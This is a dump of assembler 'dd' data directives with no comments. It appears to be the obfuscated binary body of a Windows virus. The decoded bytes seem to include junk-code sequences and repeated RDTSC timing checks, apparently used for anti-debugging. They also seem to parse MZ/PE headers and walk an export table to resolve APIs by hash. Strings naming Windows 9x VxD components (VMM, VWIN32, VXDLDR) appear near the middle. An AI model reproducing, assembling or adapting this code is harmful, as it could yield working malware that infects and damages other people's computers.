		dd 0F108F1Dh, 0A8Ch, 0D3B16000h, 820Fh,	89610000h, 2214ED85h
		dd 0AE906h, 0DE030000h,	0E9AB4FCDh, 25A4AA95h, 6AE0FFh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0F6EBEFC3h, 2A0C649Ch, 899C9BE6h, 22247DB5h,	7890F06h
		dd 0F000000h, 180h, 858BF900h, 6220FC9h, 0BF0F60F5h, 443961F9h
		dd 850F0424h, 2Ah, 6890Fh, 9D890000h, 6221A2Dh,	2491B531h
		dd 85C70622h, 6257D8Fh,	1, 95DE8160h, 2948F907h, 2208ADBDh
		dd 6A606106h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0A876C357h, 0EE9B22Bh,	36000000h
		dd 1D5DE1A4h, 0BA075A08h, 0A4440887h, 23E98Fh, 9D090000h
		dd 62225C5h, 138B0Fh, 0EE90000h, 60000000h, 25DB2D18h
		dd 0D8540E19h, 0C09B2ABBh, 1, 1B800h, 85870000h, 6257F45h
		dd 0F675C00Bh, 3309B5FFh, 858F0622h, 6257D87h, 0FF6A206Ah
		dd 31BD95FFh, 0BD830622h, 6221295h, 6A087400h, 7595FF00h
		dd 83062230h, 2232B1BDh, 0D740106h, 8068h, 0FFFF6A00h
		dd 2231BD95h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 5121AD64h, 8B604568h, 220A799Dh
		dd 33DF8106h, 611BE1FBh, 8B666060h, 1958BD7h, 61062202h
		dd 6A61F38Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0DE22C351h, 14E9B51Eh,	13000000h
		dd 0A8DF2CE2h, 354BBE4Ah, 70E0B88Fh, 707DFE5Fh,	0B87CFA92h
		dd 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 60C35545h
		dd 8978A576h, 22159985h, 24548B06h, 56006A28h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 2AA59876h
		dd 0E9604E45h, 11h, 0BBAFBA5Fh,	16E14FE3h, 34B69891h, 0D19229Ch
		dd 358D8B06h, 61062221h, 2C758589h, 0BEFC0622h,	3Ch, 18F0Fh
		dd 3F50000h, 6A242474h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 3345C356h, 14919D89h
		dd 66FC0622h, 51006AADh, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 244403EFh, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 1103C687h
		dd 0E9F21711h, 14h, 5F70E0B8h, 92707DFEh, 92347CFAh, 0DF91E776h
		dd 0D4693A27h, 0F525090h, 0D8Bh, 8E900h, 5ADC0000h, 1A0C7A3h
		dd 310F565Ah, 61605250h, 6160310Fh, 585A585Ah, 7E86050h
		dd 29000000h, 5CDD6FD4h, 5E82752h, 0DA000000h, 2C25843Eh
		dd 90615B5Ah, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 18h,	0E9C35747h, 0DF25C916h,	1EA18D89h, 408B0622h, 52006A78h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0A878C801h, 0FEE6B2Dh, 189h,	0BD83F500h, 6257D8Fh, 0A4850F00h
		dd 29000000h, 223559B5h, 0CE95006h, 8D000000h, 9DD59B25h
		dd 0BC32E7C1h, 894C3994h, 85892404h, 6221A49h, 2C24448Bh
		dd 127D9D29h, 50500622h, 2810F52h, 60000000h, 60310F61h
		dd 52506160h, 585A310Fh, 89585A61h, 8DF92404h, 2557DF85h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0C30E0EF3h, 860FF9A7h, 1, 6AD0FFF5h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 6D55C351h, 0F0734AFh, 68Eh, 0B9B53100h, 3062219h, 6A282444h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0BAD6C357h, 49B52960h, 8B062216h,	8D891840h
		dd 6223349h, 5E940h, 464A0000h,	893FC0F9h, 257D8B85h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 936DF13Eh, 28C9033Eh, 5060A732h, 840Fh, 89580000h, 221F4D8Dh
		dd 6A586106h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 29EBC357h, 2233699Dh, 0C890F06h
		dd 0E9000000h, 7, 0BDE4B11Eh, 8BBEAAC7h, 6A7870h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 2FEAE1C3h, 43E0213Ah, 78C0F60h, 0F000000h, 184h, 0C683F500h
		dd 57006A1Ch, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 96F86300h, 247C81F5h, 24h, 0F7870F10h, 0F000000h
		dd 684h, 419D2900h, 90062231h, 1BB6660h, 61DE8B6Bh, 52506050h
		dd 310F5956h, 5AF78B66h, 0F9906158h, 2824448Bh,	0C810Fh
		dd 7E90000h, 9B000000h,	98E17958h, 50500C26h, 52506052h
		dd 585A310Fh, 893F2BBFh, 310F617Fh, 5E9h, 9C075C00h, 585A0A87h
		dd 6A240489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 7BDFC355h, 0C428DB2Ah,	0F5B58B60h
		dd 0F806221Ch, 0CDBD8961h, 8D06222Ah, 2557DF85h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 8166609Eh, 60F8AFDFh, 31F1B58Bh, 61610622h, 0E810Fh
		dd 8B600000h, 2204A5BDh, 358D8B06h, 61062224h, 6AD0FFh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 44FBEBC3h, 3019BD89h, 6A960622h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 924EC350h
		dd 3AF0DB8h, 6A242474h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0E259C355h,	0CF36A2EAh
		dd 89BEC6C8h, 22069595h, 0A1BD8D06h, 6A062206h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 19E0C357h, 0FE960h, 97FC0000h, 7BC0D544h, 40CBAC55h
		dd 91721D8Fh, 0BE9613Ch, 0E2000000h, 6F352B51h,	0FED67E74h
		dd 0E9AD9696h, 0Ch, 8EE6F70Bh, 6AAB3A59h, 0FA9BB402h, 24247C81h
		dd 10000000h, 10E870Fh,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 92FEBAC3h, 51CD8048h
		dd 258D8960h, 6106221Dh, 0BE9h,	0CE5DD800h, 75A0BB9Eh
		dd 0D285B7BFh, 0DE86050h, 28000000h, 0B88BDB6Bh, 0CC4CB56Ch
		dd 0C17817E7h, 6890F5Bh, 0F000000h, 8Fh, 4896100h, 6800F24h
		dd 89000000h, 22133595h, 24448B06h, 55006A28h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 291930BBh
		dd 2229A1BDh, 0D1850106h, 50062219h, 0CE9h, 40094500h
		dd 71AB77DDh, 2C6F3D86h, 240489BAh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 84C35343h, 571567D1h, 0BE9577Eh
		dd 6A000000h, 1E6446DFh, 352F2BA3h, 858DE03Bh, 62557DFh
		dd 0FE9h, 643E3A00h, 2482AC96h,	3FFF8542h, 3D80D803h, 0DE9D0FFh
		dd 2000000h, 507F278Ah,	2B346328h, 0D06D1CCEh, 24244403h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0C3C35242h
		dd 9D893C03h, 6220431h,	0F99589ABh, 81062203h, 10000FAh
		dd 0F9820F00h, 6A000007h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 8ED7C353h, 6880F60h
		dd 29000000h, 223035B5h, 61ADB206h, 5E9h, 4F7C6300h, 0BD8DCA80h
		dd 62201D1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	0DC35646h, 9F08C831h, 11E9E33Fh, 49000000h, 9980A12h
		dd 11C9DABDh, 0BB0FE53Fh, 81227403h, 631B589h, 6AAD0622h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0AFA5C353h, 0C6E863BCh, 46FD5ADEh, 7E9h
		dd 6D907200h, 282E00FCh, 24247C81h, 10000000h, 105870Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 500004C3h, 50605250h, 5A310F52h, 615A5358h
		dd 5250310Fh, 850Fh, 310F0000h,	585A6160h, 489585Ah, 0E870F24h
		dd 60000000h, 14A59589h, 0F2810622h, 322FC8F4h,	24448B61h
		dd 0E990F528h, 9, 63A8272h, 0DE17EDC2h,	52505079h, 2800Fh
		dd 61600000h, 840F310Fh, 6, 310F5250h, 585A585Ah, 53006A90h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 89606E52h, 22249D9Dh, 0FE806h, 26FD0000h, 3E40145Fh
		dd 7BB65912h, 6C4B8B3h,	0DE9A4h, 0E43A0000h, 3185748Ch
		dd 0CB0E8670h, 5FB6CB2Ah, 8DF9F561h, 2557DF85h,	0D0FFF906h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 7FC35545h
		dd 9E90Eh
		dd 0D42E0000h, 32BF8A0Ah, 32904E4h, 6A242444h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 168C355h, 70A9BE60h,	8D0B0F3Fh, 6221D8Dh, 840F5061h
		dd 2Eh,	0FE95250h, 0DD000000h, 0D90494B9h, 0DA8C0252h
		dd 0ECB0C6A2h, 310F963Fh, 0FE9h, 99905E00h, 1292983Dh
		dd 6F8EA4E5h, 65A5B5B7h, 489585Ah, 2D950124h, 0AB062230h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0DC35343h
		dd 0C6A9859Ch, 0B185894Dh, 89062234h, 22139985h, 0B1BD8D06h
		dd 2906221Fh, 221B9DB5h, 6AAD06h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0F44C5DC3h, 6E9C714h
		dd 6A000000h, 435200B0h, 51BD891Ah, 81062201h, 28247Ch
		dd 0F100000h, 15287h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 1FDE45BAh, 55536164h
		dd 0F60BFF4h, 0B966DABFh, 90611AA1h, 7E95360h, 0F1000000h
		dd 8398B409h, 66587870h, 5061F88Bh, 370EB960h, 5E8295Fh
		dd 0E2000000h, 0D7DFDFBh, 8C0Fh, 61590000h, 12880F90h
		dd 0E9000000h, 0Dh, 93E6B22Bh, 77A5CF49h, 51E58183h, 24448BA4h
		dd 56006A2Ch, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0DB8924Eh, 89BD89AFh, 90062224h,	52505250h
		dd 310F5250h, 310F585Ah, 585A6160h, 5250310Fh, 310F5250h
		dd 310F585Ah, 8E0Fh, 585A0000h,	0E950585Ah, 10h, 0A0680680h
		dd 9CB46D18h, 444528A2h, 59268F03h, 55006A90h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 858D25BCh
		dd 62557DFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	34C35747h, 0E063341Bh, 0FFAFFF75h, 50006AD0h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 0F9E744Fh, 0A8Ch, 95896000h,	622092Dh, 3610CB7h, 0E9282444h
		dd 0Bh,	0F3D1F8A5h, 0CDA63D07h,	0F550A9A7h, 50006AABh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0E1E08F6Dh, 5EF5DB81h, 7D8B8DFFh, 0BD830625h, 6257D8Bh
		dd 330A7500h, 0B3B58DC0h, 0FF06258Dh, 81AD56E6h, 28247Ch
		dd 77100000h, 448B500Eh, 8D502C24h, 2557DF85h, 3D0FF06h
		dd 97282444h, 858ADF8Bh, 6257D87h, 474C084h, 4C75073Ah
		dd 0AEC03257h, 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h
		dd 8AC132ACh, 8AEA8ACDh, 6608B6D6h, 0D166EBD1h,	660973D8h
		dd 66504135h, 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh
		dd 8BD1F7D2h, 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh
		dd 2C7585FFh, 5DE90622h, 5EFFFFFFh, 2C359589h, 6A0622h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 703273C3h, 0BD299291h, 62220A9h, 2C75858Bh, 6A0622h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 371362C3h, 89E0D1A8h, 2220459Dh, 0B1850306h,	6A06221Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0AB85C352h, 1348FBEFh, 359D3155h,	2B062204h
		dd 56006AF6h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 4D7E0D01h, 666096F9h, 8D03F38Bh,	6220FB1h
		dd 6AAD6661h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 8E0DC350h, 10E85360h, 6D000000h
		dd 0A3292BF5h, 0AF7C439Ch, 5EB6E2EDh, 5AE0B7B4h, 0E1BD0B58h
		dd 61062207h, 6880Fh, 85890000h, 6220641h, 0E902E0C1h
		dd 12h,	19F0E81Dh, 9DBA65E3h, 53C4F3C0h, 0E35C9C8Eh, 95314B7Eh
		dd 6221F21h, 6A18503h, 6A0622h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 0FC76B9C3h, 0E962CDC3h
		dd 5, 0D9318C0Fh, 8D319645h, 6221421h, 55006AADh, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 41CE36E3h, 0C67310E1h, 0B58B6067h, 6221EF9h,	8E8h, 0F33A5100h
		dd 0D34F6526h, 4D9D8B38h, 5A062231h, 0DE961h, 815B0000h
		dd 0B54AF8Dh, 0C5F57F72h, 81969871h, 24247Ch, 0F100000h
		dd 0A787h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 13933055h, 89F774F6h, 50F55E5Ch
		dd 52505250h, 310F6160h, 310F5250h, 585A585Ah, 5250310Fh
		dd 310F6160h, 310F5250h, 585A585Ah, 489585Ah, 448BF824h
		dd 0EE92824h, 79000000h, 423883A0h, 0F51FB5D1h,	0D67D9C65h
		dd 50605033h, 489615Eh,	858DF924h, 62557DFh, 1870Fh, 0FFF50000h
		dd 51006AD0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 0E9E3756Ch, 8, 112EDB20h, 6817D796h, 24244403h
		dd 0CE9h, 0F1E27600h, 0EADCA3E9h, 0D061A3DCh, 8840F0Dh
		dd 60000000h, 675858Bh,	89610622h, 6A1C2444h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 8973C355h, 221F21BDh, 6890F06h, 9000000h, 222D1D85h
		dd 985C606h, 62233h, 7F4585C7h,	625h, 85C70000h, 6257D8Fh
		dd 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0FFC35343h
		dd 0B64D66D2h, 6830Fh, 95290000h, 6222C09h, 128F0Fh, 0E8600000h
		dd 5, 0CC74F52Ch, 8166598Fh, 61E385DFh,	7D8D0961h, 0C206222Dh
		dd 9D890008h, 6223079h,	6A1858Bh, 4AF90622h, 2AE5BD01h
		dd 0D26B0622h, 0C203F504h, 0BD850160h, 89062234h, 222ACDBDh
		dd 60966106h, 1CEDBD8Bh, 8B660622h, 8D0161F7h, 6223159h
		dd 52006AADh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 66603106h, 8161C18Bh, 24247Ch, 0F100000h
		dd 10C87h, 7E900h, 4D520000h, 74FF946Ah, 0F60504Eh, 48Fh
		dd 0AEBA6600h, 615B5328h, 6A240489h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0D25FC355h
		dd 24448B06h, 56006A28h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 89DBD190h, 0E98AA758h, 13h, 0A024983Fh
		dd 37EF1784h, 2CFC3964h, 5DA92AB1h, 0F995E55h, 0C8Ch, 68E0F00h
		dd 9000000h, 2211A19Dh,	0B3609006h, 2820F3Fh, 60000000h
		dd 0E9506161h, 5, 0DE3FE4CBh, 6A9011h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 5A803FC3h
		dd 8B0F178Fh, 6, 0F299509h, 858D0622h, 62557DFh, 0D9816660h
		dd 9D894093h, 6222831h,	6AD0FF61h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 1C41C352h
		dd 3222778Eh, 34B5E429h, 0FDC6E9F8h, 6AFFFFh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0CD3C9AC3h
		dd 880FFC55h, 0Dh, 5348BE60h, 85891983h, 6222165h, 858DFC61h
		dd 6259345h, 698D89F5h,	50062214h, 6168B060h, 6A240489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0CBAC355h, 1AEE9CA0h, 35FF64D6h, 0
		dd 7E860h, 110D0000h, 0B7547Bh,	65BD8953h, 5A062225h, 32D8523h
		dd 0F8610622h, 8924048Bh, 2214119Dh, 19858906h,	6A062222h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 1B2EC357h, 1FE1B16h, 0AACB8E08h, 68C0FF8h
		dd 89000000h, 221DA18Dh, 25896406h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 49C35747h
		dd 99E6D8B9h, 31B925BBh, 223315BDh, 6820F06h, 1000000h
		dd 220FBD9Dh, 25858D06h, 0E9062591h, 0Bh, 0C8081A4h, 64393C06h
		dd 89E098CBh, 0B5290160h, 6220F85h, 279E9h, 0C8B0F00h
		dd 0F000000h, 68Eh, 800F00h, 0F000000h,	689h, 9B52900h
		dd 8B06220Fh, 0E8DBh, 815D0000h, 25911EEDh, 0FF9CBC06h
		dd 0BD830012h, 62232B1h, 8B187400h, 2200E185h, 0C606h
		dd 2439858Bh, 0C60622h,	0A995FF00h, 60062201h, 7993B5FFh
		dd 858D0625h, 6257997h,	8F858D50h, 5006257Bh, 70195FFh
		dd 0C4830622h, 8B60610Ch, 6E8C6h, 5CF70000h, 4B38A20Ch
		dd 860Fh, 61580000h, 68D0Fh, 0BD010000h, 6222615h, 8FB58DF8h
		dd 0F06257Bh, 181h, 0BD8DFC00h,	6222D9Dh, 1159B589h, 3E800622h
		dd 75840F00h, 0F000000h, 68Dh, 11858900h, 6006220Bh, 68F0FFCh
		dd 0F000000h, 86h, 6AA46100h, 3E85700h,	20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0C743C357h,	0D9B52960h
		dd 8106222Ah, 5024BAC2h, 0ABE96137h, 6AFFFFFFh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0E1DFC356h, 7E9h, 0CFA16100h, 99F81D8Dh, 0B8h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 5DC9FE13h, 0ADBCE135h, 8B6022C9h, 2225E98Dh,	9E806h
		dd 0B9990000h, 0BB64E988h, 8087C846h, 615841E5h, 51006AAAh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 60143F7Ah, 0F836CC6Dh, 0DE9h, 36965E00h, 804E94DBh
		dd 0B7B16393h, 7B8F057h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0F265C352h
		dd 85C744F8h, 6223195h,	1, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0B7C35242h, 510DD204h, 39CE7E1Ch, 143D8D89h
		dd 8D8D0622h, 62250B1h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0BAC35343h, 21DBA970h, 2B9BD89h, 0E1FF0622h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 94C35040h
		dd 99A1ADAh, 245C8B2Fh,	0E8550Ch, 5D000000h, 934FED81h
		dd 838B0625h, 0B8h, 79938589h, 858D0625h, 6259117h, 0B88389h
		dd 335D0000h, 880FC3C0h, 6, 7359D31h, 9D010622h, 6222FE5h
		dd 0CE960h, 2EB40000h, 213D3854h, 0C5831B81h, 95317FFFh
		dd 6221965h, 9599858Dh,	6A0625h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 6D9AC6C3h, 0AE9F5h, 0DCAF0000h
		dd 0A0FF60B6h, 0FE6FDFC9h, 0E9525090h, 0Bh, 7D8966D6h
		dd 0AD724121h, 0F49F4AFh, 2840F31h, 60000000h, 50585A61h
		dd 128F0Fh, 52500000h, 310F5250h, 310F585Ah, 820Fh, 585A0000h
		dd 10880F90h, 0E9000000h, 0Bh, 6264CA30h, 0C9846278h, 64294D2Bh
		dd 35FFh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0E95591C3h, 10h,	3DECCE3Bh, 35A07B4Dh
		dd 0BCB8BBD6h, 9C3FB2DAh, 28D59501h, 89640622h,	25h, 0BD8B6000h
		dd 6221651h, 8F51D681h,	8D616FC6h, 25960985h, 840F6006h
		dd 6, 8C0Fh, 0BD890000h, 6222A55h, 1608961h, 0FE9h, 56ABE600h
		dd 5499C952h, 7762DDCDh, 0D16B0EE6h, 330985C6h,	0F4F0622h
		dd 0C88h, 858B6000h, 6220E5Dh, 0F1F7BF66h, 7DF06861h, 5250CBD7h
		dd 12E860h, 0D6FB0000h,	0F7BFB5F1h, 455A966Ah, 0DE55DD3Eh
		dd 8C1C9FAFh, 6105B059h, 5250310Fh, 800Fh, 310F0000h, 7E9h
		dd 80F67700h, 0C58D8ABh, 585A585Ah, 3A240481h, 0F932F0F6h
		dd 2649B5FFh, 6A0622h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 3CE809C3h, 82CABEBBh, 0E904CF22h
		dd 14h,	0D9512019h, 3F8D91A5h, 0D2F68981h, 9548BD17h, 45D8AE03h
		dd 7DBE858Dh, 6A0625h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 3CF2E1C3h, 0E33B2EE5h, 31B501CFh
		dd 60062206h, 60F2B70Fh, 0BD89EF8Ah, 622243Dh, 0D0FF6161h
		dd 26898D09h, 76E90622h, 31000000h, 2225F5BDh, 245C8B06h
		dd 0E8550Ch, 5D000000h,	95A3ED81h, 858B0625h, 62233A9h
		dd 26498589h, 858B0622h, 6220FC9h, 1D058589h, 858B0622h
		dd 6221AC9h, 65D8589h, 85C60622h, 6223309h, 4585C700h
		dd 6257Fh, 8D000000h, 25960985h, 0B8838906h, 5D000000h
		dd 31C3C033h, 22324985h, 85096006h, 6222485h, 0BB666061h
		dd 0BD8B40CEh, 622300Dh, 0FF74BC61h, 6A0012h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 0CCCF7AC3h
		dd 5E18589h, 8F640622h,	5, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0FDB58984h
		dd 83062219h, 6A04C4h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0AFB719C3h, 64BE4DFEh, 0F605E16h
		dd 686h, 85B58B00h, 8B062224h, 2233B58Dh, 0E9616106h, 83h
		dd 56525153h, 245C8B57h, 3B81661Ch, 850F5A4Dh, 68h, 3C43B70Fh
		dd 8166D803h, 0F45503Bh, 5785h,	785B8B00h, 1C245C03h, 324738Bh
		dd 561C2474h, 8B207B8Bh, 7C031C73h, 74032024h, 83FC2024h
		dd 8B41FFC9h, 8B1C245Ch, 24540317h, 4C78320h, 0C084028Ah
		dd 33A0874h, 4243E875h,	33AF2EBh, 0D15FE075h, 4B70FE1h
		dd 86048B0Fh, 1C244403h, 595A5E5Fh, 8C25Bh, 0F1E9C033h
		dd 8BFFFFFFh, 0DE8CAh, 0F4440000h, 3722DA0Ch, 5AFA2841h
		dd 0E9CBFDD1h, 0Dh, 416102F9h, 7B4BB4B2h, 0AB3B3636h, 7E95A95h
		dd 0F0000000h, 5BEFC63h, 0C2810232h, 709Ch, 6810Fh, 0EB810000h
		dd 30EFAF72h, 1BF2B8h, 0E832FF00h, 14h,	52528905h, 5DFB828Dh
		dd 250FEFBFh, 0E7B35885h, 0FC3E0204h, 5E9h, 399CC100h
		dd 5F59EC04h, 9861C781h, 0B70F51C7h, 17C781CBh,	0BE6CA3ABh
		dd 6536BE27h, 5C42F781h, 840F0C36h, 2, 60572FB7h, 68A0Fh
		dd 800F0000h, 0
		dd 61CF8B66h, 81FC028Fh, 1EB148EAh, 0C281F80Ah,	0A1EB144h
		dd 22EB8166h, 850F48E0h, 0FFFFFF89h, 13E852h, 10000000h
		dd 98CEEF98h, 0A156284Dh, 0D55993B6h, 0D9AB5F83h, 56D3806Fh
		dd 5E85959h, 0D5000000h, 0CF16A764h, 0CE96060h,	0C2000000h
		dd 7E1644h, 0CEEF9810h,	61284D98h, 5A61F18Bh, 0E11C07B8h
		dd 0DC2812Fh, 6600006Eh, 0BF0313BBh, 6EC7ACA7h,	0B7FCF781h
		dd 830F6EC7h, 3, 8BBAE480h, 0CE8B6032h,	67D88166h, 0EE816185h
		dd 5F05B2Bh, 51EE81FCh,	6675FC8Bh, 0EE81DF8Bh, 64C2BE32h
		dd 7399BB66h, 0D1813289h, 59F058B6h, 0F502EA83h, 13E84A4Ah
		dd 0E3000000h, 0F2896510h, 0DECCF514h, 51588380h, 841E9FA1h
		dd 0F605005h, 84h, 66E2BA00h, 59615B29h, 0F01EF83h, 0FFFF9E85h
		dd 0D8B70FFFh, 464934EBh, 52474D53h, 4B562020h,	20202044h
		dd 4D562020h, 2020204Dh, 57562020h, 32334E49h, 58562020h
		dd 52444C44h, 2020h, 2 dup(0)
		dd 0E8E90000h, 0F000007h, 189h,	6A60F500h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 7E77C356h
		dd 79C79277h, 0F92928E6h, 98D285C7h, 625h, 12E90000h, 72000000h
		dd 8F413401h, 27D83014h, 4E04335Dh, 2C82E4B0h, 6AC68BFFh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 884CC357h, 0BE9h,	4F3A0500h, 734561DEh, 99303BE5h
		dd 0E9D8B70Fh, 0Ch, 0D02C8DACh,	54DE782Eh, 3404C1E8h, 0F510E8C1h
		dd 8C8C166h, 10E960h, 22DC0000h, 54A250D9h, 5609131Ch
		dd 0E1CC190h, 8BAB801h,	617DB4C6h, 0D68589F8h, 6A062598h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 988DC357h, 0CBC166C2h, 0FB83FC08h, 6E850F40h
		dd 0E9000000h, 10h, 0C9D9AD8Ch,	70903F96h, 0C6D9A02Fh
		dd 58729AFDh, 98AABD8Dh, 6A0625h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 988340C3h, 0EF3AA5E8h
		dd 60ACC090h, 5880Fh, 0D9BA0000h, 61117D5Fh, 1FFE9h, 5E96000h
		dd 91000000h, 0EA9C7C22h, 38F0Fh, 0B70F0000h, 890F61D7h
		dd 1, 0DFB83F8h, 45850Fh, 0E8600000h, 7, 35B36630h, 8B77F967h
		dd 8D6159C1h, 2598B2BDh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 40FC2DCBh, 0E9F93096h
		dd 19Ch, 18C0Fh, 83F90000h, 850F01FBh, 59h, 7E960h, 6D550000h
		dd 0E40734AFh, 0BD8D61BBh, 62598BAh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0DDC35343h,	55E927C1h, 6A000001h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 513C351h,	77FE1935h, 2AFB8312h, 0A1850Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
